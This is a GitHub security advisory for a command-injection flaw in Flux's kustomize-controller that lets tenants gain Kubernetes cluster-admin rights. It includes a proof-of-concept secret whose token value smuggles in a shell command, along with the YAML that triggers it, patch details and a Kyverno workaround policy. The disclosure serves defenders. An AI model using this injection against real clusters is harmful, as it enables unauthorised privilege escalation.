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GHSA-35rf-v2jv-gfg7

HighCVSS 8.8 / 10
Published Nov 15, 2021·Last modified Mar 13, 2026
Affected Components(0)

No affected components available

Description

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.

Impact

Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.

Exploit

To exploit the command injection, first we create a secret with a shell command:

kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"

Then we create a Service Account that refers to the above Secret:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: exploit
  namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token

And finally a Kustomization that runs under the above Service Account:

apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
  name: exploit
  namespace: default
spec:
  interval: 5m
  path: "./deploy/"
  sourceRef:
    kind: GitRepository
    name: app
  serviceAccountName: exploit

When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.

Patches

This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.

Workarounds

To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-sa
spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: validate-sa
      match:
        resources:
          kinds:
            - ServiceAccount
          namespaces:
            - tenant1
            - tenant2
        subjects:
          - kind: User
            name: some@tenant1.com
          - kind: User
            name: some@tenant2.com
          - kind: ServiceAccount
            name: kustomize-controller
            namespace: flux-system
          - kind: ServiceAccount
            name: helm-controller
            namespace: flux-system
      validate:
        message: "Invalid service account"
        pattern:
          X(secrets): "*?"

References

Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.

For more information

If you have any questions or comments about this advisory:

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
1.77%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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